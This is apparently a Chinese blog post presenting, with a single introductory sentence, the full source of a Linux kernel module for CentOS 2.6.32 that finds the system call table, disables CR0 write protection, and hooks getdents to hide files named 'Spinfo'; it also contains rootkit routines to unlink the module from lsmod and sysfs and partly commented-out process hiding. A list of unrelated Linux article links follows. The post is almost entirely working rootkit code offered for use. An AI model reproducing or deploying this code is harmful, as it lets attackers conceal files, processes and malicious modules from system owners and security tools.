Linux隐藏文件
2016-03-14 15:41
441 查看
在信息安全中,保护指定的文件不让用户看到,尤为重要,实现方式:劫持系统调用
系统信息:内核为2.6.32, CentOSX86_64
示例程序如下:
系统信息:内核为2.6.32, CentOSX86_64
示例程序如下:
#include <linux/kernel.h> #include <linux/module.h> #include <linux/moduleparam.h> #include <linux/list.h> #include <linux/init.h> #include <linux/sched.h> #include <asm/unistd.h> #include <linux/dirent.h> #include <linux/stat.h> #include <linux/fs.h> #include <linux/proc_fs.h> #include <asm/uaccess.h> #define CALLOFF 100 //define idtr and idt struct char psname[10] = "hello"; char *processname = psname; static char *mod_name = "hook"; module_param(mod_name, charp, 0); struct{ unsigned short limit; unsigned int base; }__attribute__((packed))idtr; struct{ unsigned short off_low; unsigned short sel; unsigned char none; unsigned char flags; unsigned short off_high; }__attribute__((packed))*idt; struct _idt { unsigned short offset_low,segment_sel; unsigned char reserved,flags; unsigned short offset_high; }; /*unsigned long *getscTable() { unsigned char idtr[6] = {0}, *shell = NULL, *sort = NULL; struct _idt *idtLong = NULL; unsigned long system_call = 0, sct = 0; unsigned short offset_low = 0, offset_high = 0; char *p = NULL; int i = 0; __asm__("sidt %0" : "=m" (idtr)); idtLong=(struct _idt*)(*(unsigned long*)&idtr[2]+8*0x80); offset_low = idtLong->offset_low; offset_high = idtLong->offset_high; system_call = (offset_high<<16)|offset_low; shell=(char *)system_call; sort="\xff\x14\x85"; for(i=0;i<(100-2);i++) { if(shell[i] == sort[0] && shell[i+1] == sort[1] && shell[i+2] == sort[2]) { break; } } p = &shell[i]; p += 3; sct=*(unsigned long*)p; return (unsigned long*)(sct); }*/ //define function, Point to the system being hijacked struct linux_dirent { unsigned long d_ino; unsigned long d_off; unsigned short d_reclen; char d_name[1]; }; asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count); //int orig_cr0 = 0; unsigned long *sys_call_table = NULL; //get function system_call addr /*void* get_system_call(void) { printk(KERN_ALERT "start get_system_call...\n"); void * addr = NULL; asm("sidt %0":"=m"(idtr)); idt = (void*) ((unsigned long*)idtr.base); addr = (void*) (((unsigned int)idt[0x80].off_low) | (((unsigned int)idt[0x80].off_high)<<16 )); return addr; }*/ //find sys_call_table char* findoffset(char *start) { printk(KERN_ALERT "start findoffset...\n"); char *p = NULL; int i = 0; /*for(p=start; p < start + CALLOFF; p++) { if(*(p+0) == '\xff' && *(p+1) == '\x14' && *(p+2) == '\x85') { return p; } }*/ p = start; for(i=0;i<(100-2);i++,p++) { if(*(p+0) == '\xff' && *(p+1) == '\x14' && *(p+2) == '\xc5') { printk(KERN_ALERT "p: 0x%x\n",p); return p; } } return NULL; } //get sys_call_table addr /*void** get_system_call_addr(void) { printk(KERN_ALERT "start get_system_call_addr.../n"); unsigned long sct = 0; char *p = NULL; unsigned long addr = (unsigned long)get_system_call(); if((p=findoffset((char*) addr))) { sct = *(unsigned long*)(p + 3); printk(KERN_ALERT "find sys_call_addr: 0x%x\n", (unsigned int)sct); } return ((void**)sct); }*/ //clear and return cr0 unsigned int clear_and_return_cr0(void) { printk(KERN_ALERT "start clear_and_return_cr0...\n"); unsigned int cr0 = 0; unsigned int ret = 0; asm volatile ("movq %%cr0, %%rax":"=a"(cr0)); ret = cr0; cr0 &= 0xfffffffffffeffff; asm volatile ("movq %%rax, %%cr0" : :"a"(cr0) ); return ret; } //ser cr0 void setback_cr0(unsigned int val) { printk(KERN_ALERT "start setback_cr0...\n"); asm volatile ("movq %%rax, %%cr0" : :"a"(val) ); } //char* to int /*int atoi(char *str) { int res = 0; int mul = 1; char *ptr = NULL; for(ptr = str + strlen(str)-1; ptr >= str; ptr--) { if(*ptr < '0' || *ptr > '9') { return -1; } res += (*ptr - '0') * mul; mul *= 10; } return res; }*/ //check if process whose pid equals 'pid' is set to hidden /*int ishidden(pid_t pid) { if(pid < 0) { return 0; } struct task_struct * task = NULL; task = find_task_by_pid(pid); printk(KERN_ALERT "pid:%d,hide:%d/n", pid, task->hide); if(NULL != task && 1 == task->hide) { return 1; } return 0; }*/ int myatoi(char *str) { int res = 0; int mul = 1; char *ptr = NULL; for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if (*ptr < '0' || *ptr > '9') { return -1; } res += (*ptr - '0') * mul; mul *= 10; } if(res>0 && res< 9999) { printk(KERN_INFO "pid = %d\n",res); } return res; } struct task_struct *get_task(pid_t pid) { struct task_struct *p = get_current(),*entry = NULL; list_for_each_entry(entry,&(p->tasks),tasks) { if(entry->pid == pid) { printk("pid found = %d\n",entry->pid); return entry; } else { //printk(KERN_INFO "pid = %d not found\n",pid); } } return NULL; } static inline char *get_name(struct task_struct *p, char *buf) { int i = 0; char *name = NULL; name = p->comm; i = sizeof(p->comm); do { unsigned char c = *name; name++; i--; *buf = c; if(!c) { break; } if('\\' == c) { buf[1] = c; buf += 2; continue; } if('\n' == c) { buf[0] = '\\'; buf[1] = 'n'; buf += 2; continue; } buf++; }while(i); *buf = '\n'; return buf + 1; } int get_process(pid_t pid) { struct task_struct *task = get_task(pid); char buffer[64] = {0}; if(task) { get_name(task, buffer); //if(pid > 0 && pid < 9999) //{ //printk(KERN_INFO "task name = %s\n",*buffer); //} if(strstr(buffer,processname)) { printk(KERN_INFO "task name = %s\n", buffer); return 1; } else { return 0; } } return 0; } //the hacked sys_getdents64 asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count) { /*long value = 0; unsigned short len = 0; unsigned short tlen = 0; printk(KERN_ALERT "hidden get dents/n"); struct kstat fbuf; vfs_fstat(fd, &fbuf);//get file info printk(KERN_ALERT "ino:%d, proc:%d,major:%d,minor:%d\n", fbuf.ino, PROC_ROOT_INO, MAJOR(fbuf.dev), MINOR(fbuf.dev)); if(orig_getdents != NULL) { value = (*orig_getdents)(fd, dirp, count); //if the file is in /proc if(fbuf.ino == PROC_ROOT_INO && !MAJOR(fbuf.dev) && MINOR(fbuf.dev) == 3) { printk(KERN_ALERT "this is proc\n"); } } else { printk(KERN_ALERT "orig_getdents is null\n"); } return value;*/ //add by liangz 2016-03-14 struct linux_dirent* dirp2 = NULL, *dirp3 = NULL, *head = NULL , *prev = NULL; long recordLength = 0, modifyBufLength = 0; long value = 0; unsigned short len = 0; unsigned short tlen = 0; printk(KERN_ALERT "start call orig_getdents...\n"); value = (*orig_getdents) (fd, dirp, count); //add by liangz 2016-03-14 dirp2 = (struct linux_dirent*)kmalloc(value, GFP_KERNEL); if(!dirp2) { return value; } if(copy_from_user(dirp2, dirp, value)) { printk(KERN_ALERT "fail to copy dirp to dirp2...\n"); return value; } head = dirp2; dirp3 = dirp2; modifyBufLength = value; while (((unsigned long )dirp3) <(((unsigned long) dirp2)+ value)) { recordLength = dirp3->d_reclen; if ( recordLength == 0) { break; } if (strncmp(dirp3->d_name, "Spinfo", 6) ==0) { printk("d_name = %s\n", dirp3->d_name); if (!prev) { head = (struct linux_dirent*)((char *) dirp3 + recordLength); modifyBufLength -= recordLength; } else { prev->d_reclen += recordLength; memset(dirp3, 0, recordLength ); } } else { prev= dirp3; } dirp3 = (struct linux_dirent*)((char *) dirp3+ recordLength); } copy_to_user (dirp, head, modifyBufLength); kfree(dirp2); return modifyBufLength; printk(KERN_ALERT "end call orig_getdents...\n"); //tlen = value; //list dir table /*while(0 < tlen) { len = dirp->d_reclen; tlen = tlen - len; if(0 == strcmp("spinfo", dirp->d_name)) { printk("d_name = %s\n", dirp->d_name); memmove(dirp, (char *) dirp + dirp->d_reclen, tlen); value = value - len; printk(KERN_INFO "hide file successful...\n"); } if(get_process(myatoi(dirp->d_name))) { printk("find process...\n"); memmove(dirp, (char *) dirp + dirp->d_reclen, tlen); value = value - len; printk(KERN_INFO "hide process successful...\n"); } if(tlen) { dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen); } } printk(KERN_INFO "finished hacked_getdents...\n"); return value;*/ } static void *memmem(const void *haystack, size_t haystack_len, const void *needle, size_t needle_len) { const char *begin = NULL; const char *const last_possible = (const char *) haystack + haystack_len - needle_len; if (needle_len == 0) { printk(KERN_ALERT "needle_len == 0\n"); return (void*)haystack; } if (__builtin_expect(haystack_len < needle_len, 0)) { return NULL; } for (begin = (const char *) haystack; begin <= last_possible; ++begin) { if (begin[0] == ((const char *) needle)[0] && !memcmp((const void *) &begin[1], (const void *) ((const char *) needle + 1), needle_len - 1)) { return (void*) begin; } } return NULL; } static unsigned long get_sct_addr(void) { #define OFFSET_SYSCALL 200 unsigned long syscall_long, retval; char sc_asm[OFFSET_SYSCALL] = {0}; rdmsrl(MSR_LSTAR, syscall_long); memcpy(sc_asm, (char *)syscall_long, OFFSET_SYSCALL); retval = (unsigned long) memmem(sc_asm, OFFSET_SYSCALL, "\xff\x14\xc5", 3); if ( retval != 0 ) { retval = (unsigned long) ( * (unsigned long *)(retval+3) ); } else { printk("long mode : memmem found nothing, returning NULL"); retval = 0; } #undef OFFSET_SYSCALL return retval; //unsigned sys_call_off = 0; /*void *sys_call_off = NULL; unsigned sct = 0; char *p = NULL; unsigned char idtrT[6] = {0}, *shell = NULL, *sort = NULL; struct _idt *idtT; unsigned long system_call = 0;// sct = 0; asm("sidt %0":"=m"(idtrT)); //idt = (void *) (idtr.base + 8 * 0x80); printk(KERN_ALERT "=== 1 ===\n"); //idt = (void*) ((unsigned long*)idtr.base); idtT = (struct _idt*)(*(unsigned long*)&idtrT[2]+8*0x80); //idt = (struct _idt*) //sys_call_off = (idt->off_high << 16) | idt->off_low; printk(KERN_ALERT "=== 2 ===\n"); //sys_call_off = (void*) (((unsigned int)idt[0x80].off_low) | (((unsigned int)idt[0x80].off_high)<<16 )); system_call = (idtT->offset_high<<16) | idtT->offset_low; printk(KERN_ALERT "=== 3 ===\n"); if ((p = findoffset((char *) system_call))) { sct = *(unsigned *) (p + 3); } else { printk(KERN_ALERT " findoffset fail...\n"); } return ((void **)sct);*/ } int hideModule(void) { /*struct module *mod_head = NULL, *mod_counter = NULL; struct list_head *p = NULL; mod_head = &__this_module; list_for_each(p, &mod_head->list) { mod_counter = list_entry(p, struct module, list); printk(KERN_ALERT "mod name = %s\n", mod_counter->name); if(strcmp(mod_counter->name, mod_name) == 0) { list_del(p); printk(KERN_ALERT "remove module %s successfully.\n", mod_name); return 0; } } printk("Can't find module %s.\n", mod_name); return -1;*/ list_del(&THIS_MODULE->list);//lsmod,/proc/modules kobject_del(&THIS_MODULE->mkobj.kobj);// /sys/modules list_del(&THIS_MODULE->mkobj.kobj.entry);// kobj struct list_head entry return 0; } static inline void rootkit_protect(void) { try_module_get(THIS_MODULE);// count++ //module_put(THIS_MODULE);//count-- } static int __init hook_init(void) { printk(KERN_ALERT"[insmod module] name:%s state:%d refcnt:%u \n",THIS_MODULE->name,THIS_MODULE->state,module_refcount(THIS_MODULE)); //rootkit_protect(); printk(KERN_ALERT"[insmod module] name:%s state:%d refcnt:%u \n",THIS_MODULE->name,THIS_MODULE->state,module_refcount(THIS_MODULE)); /*int retHide = 0; retHide = hideModule(); if(0 == retHide) { printk(KERN_ALERT "hide module success...\n"); }*/ /*if(0 == THIS_MODULE->state) { THIS_MODULE->state = 1; }*/ printk(KERN_ALERT "start hook_init\n"); unsigned long orig_cr0 = 0;//clear_and_return_cr0(); sys_call_table = (unsigned long*)get_sct_addr(); sys_call_table = (unsigned long)sys_call_table | 0xffffffff00000000; if(!sys_call_table) { printk(KERN_ALERT "=== get_sct_addr fail ===\n"); return -EFAULT; } else if(sys_call_table[__NR_getdents] != hacked_getdents) { printk(KERN_ALERT "start __NR_getdents64 ...\n"); //printk(KERN_ALERT "sct:0x%x\n", (unsigned long)sys_call_table); printk(KERN_ALERT "sct:0x%x,hacked_getdents:0x%x\n", (unsigned long)sys_call_table[__NR_getdents],(unsigned long)hacked_getdents); orig_cr0 = clear_and_return_cr0(); orig_getdents = sys_call_table[__NR_getdents]; printk(KERN_ALERT "old:0x%x, new:0x%x\n",(unsigned long) orig_getdents, (unsigned long)hacked_getdents); printk(KERN_ALERT "end __NR_getdents64 ...\n"); if(hacked_getdents != NULL) { printk(KERN_ALERT "call hacked_getdents...\n"); sys_call_table[__NR_getdents] = hacked_getdents; } setback_cr0(orig_cr0); printk(KERN_INFO "hideps: module loaded.\n"); /*printk(KERN_ALERT"[insmod module] name:%s state:%d\n",THIS_MODULE->name,THIS_MODULE->state); if(0 == THIS_MODULE->state) { THIS_MODULE->state = 1; }*/ return 0; } else { printk(KERN_ALERT "system_call_table_long[__NR_getdents64] == hacked_getdents\n"); return -EFAULT; } } static int __exit unhook_exit(void) { printk(KERN_ALERT "start unhook_exit\n"); unsigned long orig_cr0 = clear_and_return_cr0(); if(sys_call_table) { sys_call_table[__NR_getdents] = orig_getdents; setback_cr0(orig_cr0); printk(KERN_ALERT "unhook_exit success...\n"); return 0; } printk(KERN_ALERT "unhook_exit fail...\n"); return -EFAULT; } MODULE_AUTHOR("zhao liang. Halcrow <mhalcrow@us.ibm.com>"); MODULE_DESCRIPTION("hook hide process"); MODULE_LICENSE("GPL"); module_init(hook_init) module_exit(unhook_exit)
相关文章推荐
- Linux的学习路线指南
- linux/aix怎么用命令查看某个目录下子目录占用空间的大小?
- Linux下查端口占用的进程
- Linux多线程Pthread学习小结
- linux tr命令详解
- Linux 定时任务
- linux安装jdk以及环境变量
- 嵌入式Linux之我行——ARM MMU工作原理剖析
- CentOS 安装图形桌面教程
- linux下c/c++实例之七递归扫描目录下的文件
- Linux基础回顾之基础命令四
- Linux笔记(34)——rpm包安装与管理
- 传输工具安装
- 自己定制Linux发行版(资料)
- Eclispse Che(1):Centos7 安装che服务
- VS2008项目移植到Linux
- VS2008项目移植到Linux
- Linux之tar 压缩解压 加密解密
- Ubuntu下 实现Linux与Windows的互相复制与粘贴
- Windows下远程Linux图形化Eclipse